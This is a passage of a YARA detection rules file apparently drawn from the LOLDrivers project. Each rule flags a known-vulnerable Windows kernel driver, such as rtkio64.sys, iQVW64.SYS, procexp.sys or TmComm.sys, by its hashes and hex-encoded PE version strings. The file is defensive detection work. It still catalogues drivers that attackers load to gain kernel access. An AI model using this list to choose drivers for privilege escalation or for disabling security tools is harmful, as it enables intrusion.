		id = "ba5a060c-e889-5f23-9938-7fbfceaae7af"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_7133
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129"
		date = "2023-06-14"
		score = 40
		id = "1d9df905-34d9-5503-b08d-ea4ff2cd826a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Lgelectronicsinc_Lhasys_Microsoftwindowsoperatingsystem_23BA
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LHA.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "23ba19352b1e71a965260bf4d5120f0200709ee8657ed381043bec9a938a1ade"
		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
		date = "2023-06-14"
		score = 40
		id = "8af33121-526d-5f4c-8cde-6e427f36ad97"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c00480041 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c004700200045006c0065006300740072006f006e00690063007300200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c00480041002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c00480041002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0075006c00740072006100620069006f007300400068006f0074006d00610069006c002e0063006f006d }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Logmeininc_Lmiinfosys_Logmein_453B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LMIinfo.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "453be8f63cc6b116e2049659e081d896491cf1a426e3d5f029f98146a3f44233"
		date = "2023-06-14"
		score = 40
		id = "50e671ec-752c-5494-97bc-bd29cd7452f1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f0067004d00650049006e0020004b00650072006e0065006c00200049006e0066006f0072006d006100740069006f006e002000500072006f00760069006400650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f0067004d00650049006e002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f0067004d00650049006e }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033002d00320030003100370020004c006f0067004d00650049006e002c00200049006e0063002e00200050006100740065006e00740065006400200061006e006400200070006100740065006e00740073002000700065006e00640069006e0067002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_C628
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c628cda1ef43defc00af45b79949675a8422490d32b080b3a8bb9434242bdbf2"
		date = "2023-06-14"
		score = 40
		id = "35330a4b-841a-5e61-b8c1-5e02f61ec021"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310034002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2FBB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2fbbc276737047cb9b3ba5396756d28c1737342d89dce1b64c23a9c4513ae445"
		date = "2023-06-14"
		score = 40
		id = "a688139a-c44f-5a93-933d-73369facec6c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BCED
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f"
		date = "2023-06-14"
		score = 40
		id = "25dd8cda-6aa3-595c-8502-cc83e04b8235"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e00330030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e00330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300035 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_082C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow8x64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d"
		date = "2023-06-14"
		score = 40
		id = "48446c71-f353-5f4f-a158-20bc7dec694f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_D1F4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d1f4949f76d8ac9f2fa844d16b1b45fb1375d149d46e414e4a4c9424dc66c91f"
		date = "2023-06-14"
		score = 40
		id = "c1e8abd1-14c1-5ddd-87cb-647dfcc652fd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00320020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_7CB4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7cb497abc44aad09a38160d6a071db499e05ff5871802ccc45d565d242026ee7"
		date = "2023-06-14"
		score = 40
		id = "b578c798-3923-51b7-80c7-b4e123dc8747"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100380020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310038 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003900200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Safenetinc_Hostnt_Hostnt_07B6
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HOSTNT.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357"
		date = "2023-06-14"
		score = 40
		id = "a1210220-529b-5103-888f-aaa707040eee"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006f00730074006e0074002000360034002d0062006900740020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053006100660065004e00650074002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048006f00730074006e0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006f00730074006e0074 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048006f00730074006e0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000200053006100660065004e00650074002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_9A91
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo11X64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba"
		date = "2023-06-14"
		score = 40
		id = "a8c05c92-a133-5f8f-bc4e-ff7e21f262e0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_7CB5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7cb594af6a3655daebc9fad9c8abf2417b00ba31dcd118707824e5316fc0cc21"
		date = "2023-06-14"
		score = 40
		id = "4af76d57-3f28-5d80-b72a-796f65942488"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Asrockincorporation_Asrautochkupddrvsys_Asrautochkupddrvdriver_2AA1
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrAutoChkUpdDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4"
		date = "2023-06-14"
		score = 40
		id = "78768248-afa1-5e3c-a9cd-c9ab73ea4f74"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_97B3
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "97b32ddf83f75637e3ba934df117081dd6a1c57d47a4c9700d35e736da11d5bd"
		hash = "89108a15f009b285db4ef94250b889d5b11b96b4aa7b190784a6d1396e893e10"
		date = "2023-06-14"
		score = 40
		id = "ef15eec0-caf8-58e9-9c63-cfee3275253d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000370030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_2899
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "28999af32b55ddb7dcfc26376a244aa2fe297233ce7abe4919a1aef2f7e2cee7"
		hash = "ce23c2dae4cca4771ea50ec737093dfafac06c64db0f924a1ccbbf687e33f5a2"
		date = "2023-06-14"
		score = 40
		id = "f1b0bccc-950b-5039-b181-fe4cee4e84b1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_818E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "818e396595d08d724666803cd29dac566dc7db23bf50e9919d04b33afa988c01"
		date = "2023-06-14"
		score = 40
		id = "534b26bd-7298-5e16-ba49-f48b1bc405d7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000370038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_6FFD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6ffdde6bc6784c13c601442e47157062941c47015891e7139c2aaba676ab59cc"
		date = "2023-06-14"
		score = 40
		id = "b0799b63-2938-586a-8a10-c3d9916b3d01"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c00650020004e006f00540072006100700020004200750069006c0064 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100300034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_7710
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "771015b2620942919bb2e0683476635b7a09db55216d6fbf03534cb18513b20c"
		hash = "8d57e416ea4bb855b78a2ff3c80de1dfbb5dc5ee9bfbdddb23e46bd8619287e2"
		hash = "900dd68ccc72d73774a347b3290c4b6153ae496a81de722ebb043e2e99496f88"
		hash = "f74ffd6916333662900cbecb90aca2d6475a714ce410adf9c5c3264abbe5732c"
		date = "2023-06-14"
		score = 40
